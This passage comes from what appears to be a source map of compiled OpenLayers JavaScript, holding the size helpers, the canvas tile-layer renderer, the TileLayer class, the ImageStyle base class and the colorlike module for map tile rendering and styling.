a size has a positive area.\n * @param {Size} size The size to test.\n * @return {boolean} The size has a positive area.\n */\nexport function hasArea(size) {\n return size[0] > 0 && size[1] > 0;\n}\n/**\n * Returns a size scaled by a ratio. The result will be an array of integers.\n * @param {Size} size Size.\n * @param {number} ratio Ratio.\n * @param {Size} [opt_size] Optional reusable size array.\n * @return {Size} The scaled size.\n */\nexport function scale(size, ratio, opt_size) {\n if (opt_size === undefined) {\n opt_size = [0, 0];\n }\n opt_size[0] = (size[0] * ratio + 0.5) | 0;\n opt_size[1] = (size[1] * ratio + 0.5) | 0;\n return opt_size;\n}\n/**\n * Returns an `Size` array for the passed in number (meaning: square) or\n * `Size` array.\n * (meaning: non-square),\n * @param {number|Size} size Width and height.\n * @param {Size} [opt_size] Optional reusable size array.\n * @return {Size} Size.\n * @api\n */\nexport function toSize(size, opt_size) {\n if (Array.isArray(size)) {\n return size;\n }\n else {\n if (opt_size === undefined) {\n opt_size = [size, size];\n }\n else {\n opt_size[0] = size;\n opt_size[1] = size;\n }\n return opt_size;\n }\n}\n//# sourceMappingURL=size.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/renderer/canvas/TileLayer\n */\nimport CanvasLayerRenderer from './Layer.js';\nimport ImageTile from '../../ImageTile.js';\nimport ReprojTile from '../../reproj/Tile.js';\nimport TileRange from '../../TileRange.js';\nimport TileState from '../../TileState.js';\nimport { IMAGE_SMOOTHING_DISABLED, IMAGE_SMOOTHING_ENABLED } from './common.js';\nimport { apply as applyTransform, compose as composeTransform, makeInverse, toString as toTransformString, } from '../../transform.js';\nimport { assign } from '../../obj.js';\nimport { containsCoordinate, createEmpty, equals, getHeight, getIntersection, getRotatedViewport, getTopLeft, getWidth, intersects, } from '../../extent.js';\nimport { fromUserExtent } from '../../proj.js';\nimport { getUid } from '../../util.js';\nimport { numberSafeCompareFunction } from '../../array.js';\nimport { toSize } from '../../size.js';\n/**\n * @classdesc\n * Canvas renderer for tile layers.\n * @api\n * @template {import(\"../../layer/Tile.js\").default<import(\"../../source/Tile.js\").default>|import(\"../../layer/VectorTile.js\").default} [LayerType=import(\"../../layer/Tile.js\").default<import(\"../../source/Tile.js\").default>|import(\"../../layer/VectorTile.js\").default]\n * @extends {CanvasLayerRenderer<LayerType>}\n */\nvar CanvasTileLayerRenderer = /** @class */ (function (_super) {\n __extends(CanvasTileLayerRenderer, _super);\n /**\n * @param {LayerType} tileLayer Tile layer.\n */\n function CanvasTileLayerRenderer(tileLayer) {\n var _this = _super.call(this, tileLayer) || this;\n /**\n * Rendered extent has changed since the previous `renderFrame()` call\n * @type {boolean}\n */\n _this.extentChanged = true;\n /**\n * @private\n * @type {?import(\"../../extent.js\").Extent}\n */\n _this.renderedExtent_ = null;\n /**\n * @protected\n * @type {number}\n */\n _this.renderedPixelRatio;\n /**\n * @protected\n * @type {import(\"../../proj/Projection.js\").default}\n */\n _this.renderedProjection = null;\n /**\n * @protected\n * @type {number}\n */\n _this.renderedRevision;\n /**\n * @protected\n * @type {!Array<import(\"../../Tile.js\").default>}\n */\n _this.renderedTiles = [];\n /**\n * @private\n * @type {boolean}\n */\n _this.newTiles_ = false;\n /**\n * @protected\n * @type {import(\"../../extent.js\").Extent}\n */\n _this.tmpExtent = createEmpty();\n /**\n * @private\n * @type {import(\"../../TileRange.js\").default}\n */\n _this.tmpTileRange_ = new TileRange(0, 0, 0, 0);\n return _this;\n }\n /**\n * @protected\n * @param {import(\"../../Tile.js\").default} tile Tile.\n * @return {boolean} Tile is drawable.\n */\n CanvasTileLayerRenderer.prototype.isDrawableTile = function (tile) {\n var tileLayer = this.getLayer();\n var tileState = tile.getState();\n var useInterimTilesOnError = tileLayer.getUseInterimTilesOnError();\n return (tileState == TileState.LOADED ||\n tileState == TileState.EMPTY ||\n (tileState == TileState.ERROR && !useInterimTilesOnError));\n };\n /**\n * @param {number} z Tile coordinate z.\n * @param {number} x Tile coordinate x.\n * @param {number} y Tile coordinate y.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @return {!import(\"../../Tile.js\").default} Tile.\n */\n CanvasTileLayerRenderer.prototype.getTile = function (z, x, y, frameState) {\n var pixelRatio = frameState.pixelRatio;\n var projection = frameState.viewState.projection;\n var tileLayer = this.getLayer();\n var tileSource = tileLayer.getSource();\n var tile = tileSource.getTile(z, x, y, pixelRatio, projection);\n if (tile.getState() == TileState.ERROR) {\n if (!tileLayer.getUseInterimTilesOnError()) {\n // When useInterimTilesOnError is false, we consider the error tile as loaded.\n tile.setState(TileState.LOADED);\n }\n else if (tileLayer.getPreload() > 0) {\n // Preloaded tiles for lower resolutions might have finished loading.\n this.newTiles_ = true;\n }\n }\n if (!this.isDrawableTile(tile)) {\n tile = tile.getInterimTile();\n }\n return tile;\n };\n /**\n * @param {import(\"../../pixel.js\").Pixel} pixel Pixel.\n * @return {Uint8ClampedArray} Data at the pixel location.\n */\n CanvasTileLayerRenderer.prototype.getData = function (pixel) {\n var frameState = this.frameState;\n if (!frameState) {\n return null;\n }\n var layer = this.getLayer();\n var coordinate = applyTransform(frameState.pixelToCoordinateTransform, pixel.slice());\n var layerExtent = layer.getExtent();\n if (layerExtent) {\n if (!containsCoordinate(layerExtent, coordinate)) {\n return null;\n }\n }\n var pixelRatio = frameState.pixelRatio;\n var projection = frameState.viewState.projection;\n var viewState = frameState.viewState;\n var source = layer.getRenderSource();\n var tileGrid = source.getTileGridForProjection(viewState.projection);\n var tilePixelRatio = source.getTilePixelRatio(frameState.pixelRatio);\n for (var z = tileGrid.getZForResolution(viewState.resolution); z >= tileGrid.getMinZoom(); --z) {\n var tileCoord = tileGrid.getTileCoordForCoordAndZ(coordinate, z);\n var tile = source.getTile(z, tileCoord[1], tileCoord[2], pixelRatio, projection);\n if (!(tile instanceof ImageTile || tile instanceof ReprojTile)) {\n return null;\n }\n if (tile.getState() !== TileState.LOADED) {\n continue;\n }\n var tileOrigin = tileGrid.getOrigin(z);\n var tileSize = toSize(tileGrid.getTileSize(z));\n var tileResolution = tileGrid.getResolution(z);\n var col = Math.floor(tilePixelRatio *\n ((coordinate[0] - tileOrigin[0]) / tileResolution -\n tileCoord[1] * tileSize[0]));\n var row = Math.floor(tilePixelRatio *\n ((tileOrigin[1] - coordinate[1]) / tileResolution -\n tileCoord[2] * tileSize[1]));\n var gutter = Math.round(tilePixelRatio * source.getGutterForProjection(viewState.projection));\n return this.getImageData(tile.getImage(), col + gutter, row + gutter);\n }\n return null;\n };\n /**\n * @param {Object<number, Object<string, import(\"../../Tile.js\").default>>} tiles Lookup of loaded tiles by zoom level.\n * @param {number} zoom Zoom level.\n * @param {import(\"../../Tile.js\").default} tile Tile.\n * @return {boolean|void} If `false`, the tile will not be considered loaded.\n */\n CanvasTileLayerRenderer.prototype.loadedTileCallback = function (tiles, zoom, tile) {\n if (this.isDrawableTile(tile)) {\n return _super.prototype.loadedTileCallback.call(this, tiles, zoom, tile);\n }\n return false;\n };\n /**\n * Determine whether render should be called.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @return {boolean} Layer is ready to be rendered.\n */\n CanvasTileLayerRenderer.prototype.prepareFrame = function (frameState) {\n return !!this.getLayer().getSource();\n };\n /**\n * Render the layer.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {HTMLElement} target Target that may be used to render content to.\n * @return {HTMLElement} The rendered element.\n */\n CanvasTileLayerRenderer.prototype.renderFrame = function (frameState, target) {\n var layerState = frameState.layerStatesArray[frameState.layerIndex];\n var viewState = frameState.viewState;\n var projection = viewState.projection;\n var viewResolution = viewState.resolution;\n var viewCenter = viewState.center;\n var rotation = viewState.rotation;\n var pixelRatio = frameState.pixelRatio;\n var tileLayer = this.getLayer();\n var tileSource = tileLayer.getSource();\n var sourceRevision = tileSource.getRevision();\n var tileGrid = tileSource.getTileGridForProjection(projection);\n var z = tileGrid.getZForResolution(viewResolution, tileSource.zDirection);\n var tileResolution = tileGrid.getResolution(z);\n var extent = frameState.extent;\n var resolution = frameState.viewState.resolution;\n var tilePixelRatio = tileSource.getTilePixelRatio(pixelRatio);\n // desired dimensions of the canvas in pixels\n var width = Math.round((getWidth(extent) / resolution) * pixelRatio);\n var height = Math.round((getHeight(extent) / resolution) * pixelRatio);\n var layerExtent = layerState.extent && fromUserExtent(layerState.extent, projection);\n if (layerExtent) {\n extent = getIntersection(extent, fromUserExtent(layerState.extent, projection));\n }\n var dx = (tileResolution * width) / 2 / tilePixelRatio;\n var dy = (tileResolution * height) / 2 / tilePixelRatio;\n var canvasExtent = [\n viewCenter[0] - dx,\n viewCenter[1] - dy,\n viewCenter[0] + dx,\n viewCenter[1] + dy,\n ];\n var tileRange = tileGrid.getTileRangeForExtentAndZ(extent, z);\n /**\n * @type {Object<number, Object<string, import(\"../../Tile.js\").default>>}\n */\n var tilesToDrawByZ = {};\n tilesToDrawByZ[z] = {};\n var findLoadedTiles = this.createLoadedTileFinder(tileSource, projection, tilesToDrawByZ);\n var tmpExtent = this.tmpExtent;\n var tmpTileRange = this.tmpTileRange_;\n this.newTiles_ = false;\n var viewport = rotation\n ? getRotatedViewport(viewState.center, resolution, rotation, frameState.size)\n : undefined;\n for (var x = tileRange.minX; x <= tileRange.maxX; ++x) {\n for (var y = tileRange.minY; y <= tileRange.maxY; ++y) {\n if (rotation &&\n !tileGrid.tileCoordIntersectsViewport([z, x, y], viewport)) {\n continue;\n }\n var tile = this.getTile(z, x, y, frameState);\n if (this.isDrawableTile(tile)) {\n var uid = getUid(this);\n if (tile.getState() == TileState.LOADED) {\n tilesToDrawByZ[z][tile.tileCoord.toString()] = tile;\n var inTransition = tile.inTransition(uid);\n if (inTransition && layerState.opacity !== 1) {\n // Skipping transition when layer is not fully opaque avoids visual artifacts.\n tile.endTransition(uid);\n inTransition = false;\n }\n if (!this.newTiles_ &&\n (inTransition || this.renderedTiles.indexOf(tile) === -1)) {\n this.newTiles_ = true;\n }\n }\n if (tile.getAlpha(uid, frameState.time) === 1) {\n // don't look for alt tiles if alpha is 1\n continue;\n }\n }\n var childTileRange = tileGrid.getTileCoordChildTileRange(tile.tileCoord, tmpTileRange, tmpExtent);\n var covered = false;\n if (childTileRange) {\n covered = findLoadedTiles(z + 1, childTileRange);\n }\n if (!covered) {\n tileGrid.forEachTileCoordParentTileRange(tile.tileCoord, findLoadedTiles, tmpTileRange, tmpExtent);\n }\n }\n }\n var canvasScale = ((tileResolution / viewResolution) * pixelRatio) / tilePixelRatio;\n // set forward and inverse pixel transforms\n composeTransform(this.pixelTransform, frameState.size[0] / 2, frameState.size[1] / 2, 1 / pixelRatio, 1 / pixelRatio, rotation, -width / 2, -height / 2);\n var canvasTransform = toTransformString(this.pixelTransform);\n this.useContainer(target, canvasTransform, this.getBackground(frameState));\n var context = this.context;\n var canvas = context.canvas;\n makeInverse(this.inversePixelTransform, this.pixelTransform);\n // set scale transform for calculating tile positions on the canvas\n composeTransform(this.tempTransform, width / 2, height / 2, canvasScale, canvasScale, 0, -width / 2, -height / 2);\n if (canvas.width != width || canvas.height != height) {\n canvas.width = width;\n canvas.height = height;\n }\n else if (!this.containerReused) {\n context.clearRect(0, 0, width, height);\n }\n if (layerExtent) {\n this.clipUnrotated(context, frameState, layerExtent);\n }\n if (!tileSource.getInterpolate()) {\n assign(context, IMAGE_SMOOTHING_DISABLED);\n }\n this.preRender(context, frameState);\n this.renderedTiles.length = 0;\n /** @type {Array<number>} */\n var zs = Object.keys(tilesToDrawByZ).map(Number);\n zs.sort(numberSafeCompareFunction);\n var clips, clipZs, currentClip;\n if (layerState.opacity === 1 &&\n (!this.containerReused ||\n tileSource.getOpaque(frameState.viewState.projection))) {\n zs = zs.reverse();\n }\n else {\n clips = [];\n clipZs = [];\n }\n for (var i = zs.length - 1; i >= 0; --i) {\n var currentZ = zs[i];\n var currentTilePixelSize = tileSource.getTilePixelSize(currentZ, pixelRatio, projection);\n var currentResolution = tileGrid.getResolution(currentZ);\n var currentScale = currentResolution / tileResolution;\n var dx_1 = currentTilePixelSize[0] * currentScale * canvasScale;\n var dy_1 = currentTilePixelSize[1] * currentScale * canvasScale;\n var originTileCoord = tileGrid.getTileCoordForCoordAndZ(getTopLeft(canvasExtent), currentZ);\n var originTileExtent = tileGrid.getTileCoordExtent(originTileCoord);\n var origin_1 = applyTransform(this.tempTransform, [\n (tilePixelRatio * (originTileExtent[0] - canvasExtent[0])) /\n tileResolution,\n (tilePixelRatio * (canvasExtent[3] - originTileExtent[3])) /\n tileResolution,\n ]);\n var tileGutter = tilePixelRatio * tileSource.getGutterForProjection(projection);\n var tilesToDraw = tilesToDrawByZ[currentZ];\n for (var tileCoordKey in tilesToDraw) {\n var tile = /** @type {import(\"../../ImageTile.js\").default} */ (tilesToDraw[tileCoordKey]);\n var tileCoord = tile.tileCoord;\n // Calculate integer positions and sizes so that tiles align\n var xIndex = originTileCoord[1] - tileCoord[1];\n var nextX = Math.round(origin_1[0] - (xIndex - 1) * dx_1);\n var yIndex = originTileCoord[2] - tileCoord[2];\n var nextY = Math.round(origin_1[1] - (yIndex - 1) * dy_1);\n var x = Math.round(origin_1[0] - xIndex * dx_1);\n var y = Math.round(origin_1[1] - yIndex * dy_1);\n var w = nextX - x;\n var h = nextY - y;\n var transition = z === currentZ;\n var inTransition = transition && tile.getAlpha(getUid(this), frameState.time) !== 1;\n var contextSaved = false;\n if (!inTransition) {\n if (clips) {\n // Clip mask for regions in this tile that already filled by a higher z tile\n currentClip = [x, y, x + w, y, x + w, y + h, x, y + h];\n for (var i_1 = 0, ii = clips.length; i_1 < ii; ++i_1) {\n if (z !== currentZ && currentZ < clipZs[i_1]) {\n var clip = clips[i_1];\n if (intersects([x, y, x + w, y + h], [clip[0], clip[3], clip[4], clip[7]])) {\n if (!contextSaved) {\n context.save();\n contextSaved = true;\n }\n context.beginPath();\n // counter-clockwise (outer ring) for current tile\n context.moveTo(currentClip[0], currentClip[1]);\n context.lineTo(currentClip[2], currentClip[3]);\n context.lineTo(currentClip[4], currentClip[5]);\n context.lineTo(currentClip[6], currentClip[7]);\n // clockwise (inner ring) for higher z tile\n context.moveTo(clip[6], clip[7]);\n context.lineTo(clip[4], clip[5]);\n context.lineTo(clip[2], clip[3]);\n context.lineTo(clip[0], clip[1]);\n context.clip();\n }\n }\n }\n clips.push(currentClip);\n clipZs.push(currentZ);\n }\n else {\n context.clearRect(x, y, w, h);\n }\n }\n this.drawTileImage(tile, frameState, x, y, w, h, tileGutter, transition);\n if (clips && !inTransition) {\n if (contextSaved) {\n context.restore();\n }\n this.renderedTiles.unshift(tile);\n }\n else {\n this.renderedTiles.push(tile);\n }\n this.updateUsedTiles(frameState.usedTiles, tileSource, tile);\n }\n }\n this.renderedRevision = sourceRevision;\n this.renderedResolution = tileResolution;\n this.extentChanged =\n !this.renderedExtent_ || !equals(this.renderedExtent_, canvasExtent);\n this.renderedExtent_ = canvasExtent;\n this.renderedPixelRatio = pixelRatio;\n this.renderedProjection = projection;\n this.manageTilePyramid(frameState, tileSource, tileGrid, pixelRatio, projection, extent, z, tileLayer.getPreload());\n this.scheduleExpireCache(frameState, tileSource);\n this.postRender(context, frameState);\n if (layerState.extent) {\n context.restore();\n }\n assign(context, IMAGE_SMOOTHING_ENABLED);\n if (canvasTransform !== canvas.style.transform) {\n canvas.style.transform = canvasTransform;\n }\n return this.container;\n };\n /**\n * @param {import(\"../../ImageTile.js\").default} tile Tile.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {number} x Left of the tile.\n * @param {number} y Top of the tile.\n * @param {number} w Width of the tile.\n * @param {number} h Height of the tile.\n * @param {number} gutter Tile gutter.\n * @param {boolean} transition Apply an alpha transition.\n */\n CanvasTileLayerRenderer.prototype.drawTileImage = function (tile, frameState, x, y, w, h, gutter, transition) {\n var image = this.getTileImage(tile);\n if (!image) {\n return;\n }\n var uid = getUid(this);\n var layerState = frameState.layerStatesArray[frameState.layerIndex];\n var alpha = layerState.opacity *\n (transition ? tile.getAlpha(uid, frameState.time) : 1);\n var alphaChanged = alpha !== this.context.globalAlpha;\n if (alphaChanged) {\n this.context.save();\n this.context.globalAlpha = alpha;\n }\n this.context.drawImage(image, gutter, gutter, image.width - 2 * gutter, image.height - 2 * gutter, x, y, w, h);\n if (alphaChanged) {\n this.context.restore();\n }\n if (alpha !== layerState.opacity) {\n frameState.animate = true;\n }\n else if (transition) {\n tile.endTransition(uid);\n }\n };\n /**\n * @return {HTMLCanvasElement} Image\n */\n CanvasTileLayerRenderer.prototype.getImage = function () {\n var context = this.context;\n return context ? context.canvas : null;\n };\n /**\n * Get the image from a tile.\n * @param {import(\"../../ImageTile.js\").default} tile Tile.\n * @return {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} Image.\n * @protected\n */\n CanvasTileLayerRenderer.prototype.getTileImage = function (tile) {\n return tile.getImage();\n };\n /**\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {import(\"../../source/Tile.js\").default} tileSource Tile source.\n * @protected\n */\n CanvasTileLayerRenderer.prototype.scheduleExpireCache = function (frameState, tileSource) {\n if (tileSource.canExpireCache()) {\n /**\n * @param {import(\"../../source/Tile.js\").default} tileSource Tile source.\n * @param {import(\"../../PluggableMap.js\").default} map Map.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n */\n var postRenderFunction = function (tileSource, map, frameState) {\n var tileSourceKey = getUid(tileSource);\n if (tileSourceKey in frameState.usedTiles) {\n tileSource.expireCache(frameState.viewState.projection, frameState.usedTiles[tileSourceKey]);\n }\n }.bind(null, tileSource);\n frameState.postRenderFunctions.push(\n /** @type {import(\"../../PluggableMap.js\").PostRenderFunction} */ (postRenderFunction));\n }\n };\n /**\n * @param {!Object<string, !Object<string, boolean>>} usedTiles Used tiles.\n * @param {import(\"../../source/Tile.js\").default} tileSource Tile source.\n * @param {import('../../Tile.js').default} tile Tile.\n * @protected\n */\n CanvasTileLayerRenderer.prototype.updateUsedTiles = function (usedTiles, tileSource, tile) {\n // FIXME should we use tilesToDrawByZ instead?\n var tileSourceKey = getUid(tileSource);\n if (!(tileSourceKey in usedTiles)) {\n usedTiles[tileSourceKey] = {};\n }\n usedTiles[tileSourceKey][tile.getKey()] = true;\n };\n /**\n * Manage tile pyramid.\n * This function performs a number of functions related to the tiles at the\n * current zoom and lower zoom levels:\n * - registers idle tiles in frameState.wantedTiles so that they are not\n * discarded by the tile queue\n * - enqueues missing tiles\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {import(\"../../source/Tile.js\").default} tileSource Tile source.\n * @param {import(\"../../tilegrid/TileGrid.js\").default} tileGrid Tile grid.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"../../proj/Projection.js\").default} projection Projection.\n * @param {import(\"../../extent.js\").Extent} extent Extent.\n * @param {number} currentZ Current Z.\n * @param {number} preload Load low resolution tiles up to `preload` levels.\n * @param {function(import(\"../../Tile.js\").default):void} [opt_tileCallback] Tile callback.\n * @protected\n */\n CanvasTileLayerRenderer.prototype.manageTilePyramid = function (frameState, tileSource, tileGrid, pixelRatio, projection, extent, currentZ, preload, opt_tileCallback) {\n var tileSourceKey = getUid(tileSource);\n if (!(tileSourceKey in frameState.wantedTiles)) {\n frameState.wantedTiles[tileSourceKey] = {};\n }\n var wantedTiles = frameState.wantedTiles[tileSourceKey];\n var tileQueue = frameState.tileQueue;\n var minZoom = tileGrid.getMinZoom();\n var rotation = frameState.viewState.rotation;\n var viewport = rotation\n ? getRotatedViewport(frameState.viewState.center, frameState.viewState.resolution, rotation, frameState.size)\n : undefined;\n var tileCount = 0;\n var tile, tileRange, tileResolution, x, y, z;\n for (z = minZoom; z <= currentZ; ++z) {\n tileRange = tileGrid.getTileRangeForExtentAndZ(extent, z, tileRange);\n tileResolution = tileGrid.getResolution(z);\n for (x = tileRange.minX; x <= tileRange.maxX; ++x) {\n for (y = tileRange.minY; y <= tileRange.maxY; ++y) {\n if (rotation &&\n !tileGrid.tileCoordIntersectsViewport([z, x, y], viewport)) {\n continue;\n }\n if (currentZ - z <= preload) {\n ++tileCount;\n tile = tileSource.getTile(z, x, y, pixelRatio, projection);\n if (tile.getState() == TileState.IDLE) {\n wantedTiles[tile.getKey()] = true;\n if (!tileQueue.isKeyQueued(tile.getKey())) {\n tileQueue.enqueue([\n tile,\n tileSourceKey,\n tileGrid.getTileCoordCenter(tile.tileCoord),\n tileResolution,\n ]);\n }\n }\n if (opt_tileCallback !== undefined) {\n opt_tileCallback(tile);\n }\n }\n else {\n tileSource.useTile(z, x, y, projection);\n }\n }\n }\n }\n tileSource.updateCacheSize(tileCount, projection);\n };\n return CanvasTileLayerRenderer;\n}(CanvasLayerRenderer));\nexport default CanvasTileLayerRenderer;\n//# sourceMappingURL=TileLayer.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/layer/Tile\n */\nimport BaseTileLayer from './BaseTile.js';\nimport CanvasTileLayerRenderer from '../renderer/canvas/TileLayer.js';\n/**\n * @classdesc\n * For layer sources that provide pre-rendered, tiled images in grids that are\n * organized by zoom levels for specific resolutions.\n * Note that any property set in the options is set as a {@link module:ol/Object~BaseObject}\n * property on the layer object; for example, setting `title: 'My Title'` in the\n * options means that `title` is observable, and has get/set accessors.\n *\n * @template {import(\"../source/Tile.js\").default} TileSourceType\n * @extends BaseTileLayer<TileSourceType, CanvasTileLayerRenderer>\n * @api\n */\nvar TileLayer = /** @class */ (function (_super) {\n __extends(TileLayer, _super);\n /**\n * @param {import(\"./BaseTile.js\").Options<TileSourceType>} [opt_options] Tile layer options.\n */\n function TileLayer(opt_options) {\n return _super.call(this, opt_options) || this;\n }\n TileLayer.prototype.createRenderer = function () {\n return new CanvasTileLayerRenderer(this);\n };\n return TileLayer;\n}(BaseTileLayer));\nexport default TileLayer;\n//# sourceMappingURL=Tile.js.map","/**\n * @module ol/style/Image\n */\nimport { abstract } from '../util.js';\nimport { toSize } from '../size.js';\n/**\n * @typedef {Object} Options\n * @property {number} opacity Opacity.\n * @property {boolean} rotateWithView If the image should get rotated with the view.\n * @property {number} rotation Rotation.\n * @property {number|import(\"../size.js\").Size} scale Scale.\n * @property {Array<number>} displacement Displacement.\n * @property {\"declutter\"|\"obstacle\"|\"none\"|undefined} declutterMode Declutter mode: `declutter`, `obstacle`, 'none */\n/**\n * @classdesc\n * A base class used for creating subclasses and not instantiated in\n * apps. Base class for {@link module:ol/style/Icon~Icon}, {@link module:ol/style/Circle~CircleStyle} and\n * {@link module:ol/style/RegularShape~RegularShape}.\n * @abstract\n * @api\n */\nvar ImageStyle = /** @class */ (function () {\n /**\n * @param {Options} options Options.\n */\n function ImageStyle(options) {\n /**\n * @private\n * @type {number}\n */\n this.opacity_ = options.opacity;\n /**\n * @private\n * @type {boolean}\n */\n this.rotateWithView_ = options.rotateWithView;\n /**\n * @private\n * @type {number}\n */\n this.rotation_ = options.rotation;\n /**\n * @private\n * @type {number|import(\"../size.js\").Size}\n */\n this.scale_ = options.scale;\n /**\n * @private\n * @type {import(\"../size.js\").Size}\n */\n this.scaleArray_ = toSize(options.scale);\n /**\n * @private\n * @type {Array<number>}\n */\n this.displacement_ = options.displacement;\n /**\n * @private\n * @type {\"declutter\"|\"obstacle\"|\"none\"|undefined}\n */\n this.declutterMode_ = options.declutterMode;\n }\n /**\n * Clones the style.\n * @return {ImageStyle} The cloned style.\n * @api\n */\n ImageStyle.prototype.clone = function () {\n var scale = this.getScale();\n return new ImageStyle({\n opacity: this.getOpacity(),\n scale: Array.isArray(scale) ? scale.slice() : scale,\n rotation: this.getRotation(),\n rotateWithView: this.getRotateWithView(),\n displacement: this.getDisplacement().slice(),\n declutterMode: this.getDeclutterMode(),\n });\n };\n /**\n * Get the symbolizer opacity.\n * @return {number} Opacity.\n * @api\n */\n ImageStyle.prototype.getOpacity = function () {\n return this.opacity_;\n };\n /**\n * Determine whether the symbolizer rotates with the map.\n * @return {boolean} Rotate with map.\n * @api\n */\n ImageStyle.prototype.getRotateWithView = function () {\n return this.rotateWithView_;\n };\n /**\n * Get the symoblizer rotation.\n * @return {number} Rotation.\n * @api\n */\n ImageStyle.prototype.getRotation = function () {\n return this.rotation_;\n };\n /**\n * Get the symbolizer scale.\n * @return {number|import(\"../size.js\").Size} Scale.\n * @api\n */\n ImageStyle.prototype.getScale = function () {\n return this.scale_;\n };\n /**\n * Get the symbolizer scale array.\n * @return {import(\"../size.js\").Size} Scale array.\n */\n ImageStyle.prototype.getScaleArray = function () {\n return this.scaleArray_;\n };\n /**\n * Get the displacement of the shape\n * @return {Array<number>} Shape's center displacement\n * @api\n */\n ImageStyle.prototype.getDisplacement = function () {\n return this.displacement_;\n };\n /**\n * Get the declutter mode of the shape\n * @return {\"declutter\"|\"obstacle\"|\"none\"|undefined} Shape's declutter mode\n * @api\n */\n ImageStyle.prototype.getDeclutterMode = function () {\n return this.declutterMode_;\n };\n /**\n * Get the anchor point in pixels. The anchor determines the center point for the\n * symbolizer.\n * @abstract\n * @return {Array<number>} Anchor.\n */\n ImageStyle.prototype.getAnchor = function () {\n return abstract();\n };\n /**\n * Get the image element for the symbolizer.\n * @abstract\n * @param {number} pixelRatio Pixel ratio.\n * @return {HTMLCanvasElement|HTMLVideoElement|HTMLImageElement} Image element.\n */\n ImageStyle.prototype.getImage = function (pixelRatio) {\n return abstract();\n };\n /**\n * @abstract\n * @return {HTMLCanvasElement|HTMLVideoElement|HTMLImageElement} Image element.\n */\n ImageStyle.prototype.getHitDetectionImage = function () {\n return abstract();\n };\n /**\n * Get the image pixel ratio.\n * @param {number} pixelRatio Pixel ratio.\n * @return {number} Pixel ratio.\n */\n ImageStyle.prototype.getPixelRatio = function (pixelRatio) {\n return 1;\n };\n /**\n * @abstract\n * @return {import(\"../ImageState.js\").default} Image state.\n */\n ImageStyle.prototype.getImageState = function () {\n return abstract();\n };\n /**\n * @abstract\n * @return {import(\"../size.js\").Size} Image size.\n */\n ImageStyle.prototype.getImageSize = function () {\n return abstract();\n };\n /**\n * Get the origin of the symbolizer.\n * @abstract\n * @return {Array<number>} Origin.\n */\n ImageStyle.prototype.getOrigin = function () {\n return abstract();\n };\n /**\n * Get the size of the symbolizer (in pixels).\n * @abstract\n * @return {import(\"../size.js\").Size} Size.\n */\n ImageStyle.prototype.getSize = function () {\n return abstract();\n };\n /**\n * Set the displacement.\n *\n * @param {Array<number>} displacement Displacement.\n * @api\n */\n ImageStyle.prototype.setDisplacement = function (displacement) {\n this.displacement_ = displacement;\n };\n /**\n * Set the opacity.\n *\n * @param {number} opacity Opacity.\n * @api\n */\n ImageStyle.prototype.setOpacity = function (opacity) {\n this.opacity_ = opacity;\n };\n /**\n * Set whether to rotate the style with the view.\n *\n * @param {boolean} rotateWithView Rotate with map.\n * @api\n */\n ImageStyle.prototype.setRotateWithView = function (rotateWithView) {\n this.rotateWithView_ = rotateWithView;\n };\n /**\n * Set the rotation.\n *\n * @param {number} rotation Rotation.\n * @api\n */\n ImageStyle.prototype.setRotation = function (rotation) {\n this.rotation_ = rotation;\n };\n /**\n * Set the scale.\n *\n * @param {number|import(\"../size.js\").Size} scale Scale.\n * @api\n */\n ImageStyle.prototype.setScale = function (scale) {\n this.scale_ = scale;\n this.scaleArray_ = toSize(scale);\n };\n /**\n * @abstract\n * @param {function(import(\"../events/Event.js\").default): void} listener Listener function.\n */\n ImageStyle.prototype.listenImageChange = function (listener) {\n abstract();\n };\n /**\n * Load not yet loaded URI.\n * @abstract\n */\n ImageStyle.prototype.load = function () {\n abstract();\n };\n /**\n * @abstract\n * @param {function(import(\"../events/Event.js\").default): void} listener Listener function.\n */\n ImageStyle.prototype.unlistenImageChange = function (listener) {\n abstract();\n };\n return ImageStyle;\n}());\nexport default ImageStyle;\n//# sourceMappingURL=Image.js.map","/**\n * @module ol/colorlike\n */\nimport { toString } from './color.js';\n/**\n * A type accepted by CanvasRenderingContext2D.fillStyle\n * or CanvasRenderingContext2D.strokeStyle.\n * Represents a color, pattern, or gradient. The origin for patterns and\n * gradients as fill style is an increment of 512 css pixels from map coordinate\n * `[0, 0]`. For seamless repeat patterns, width and height of the pattern image\n * must be a factor of two (2, 4, 8, ..., 512).\n *\n * @typedef {string|CanvasPattern|CanvasGradient} ColorLike\n * @api\n */\n/**\n * @param {import(\"./color.js\").Color|ColorLike} color Color.\n * @return {ColorLike} The color as an {@link ol/colorlike~ColorLike}.\n * @api\n */\nexport function asColorLike(color) {\n if (Array.isArray(color)) {\n return toString(color);\n }\n else {\n return color;\n }\n}\n//# 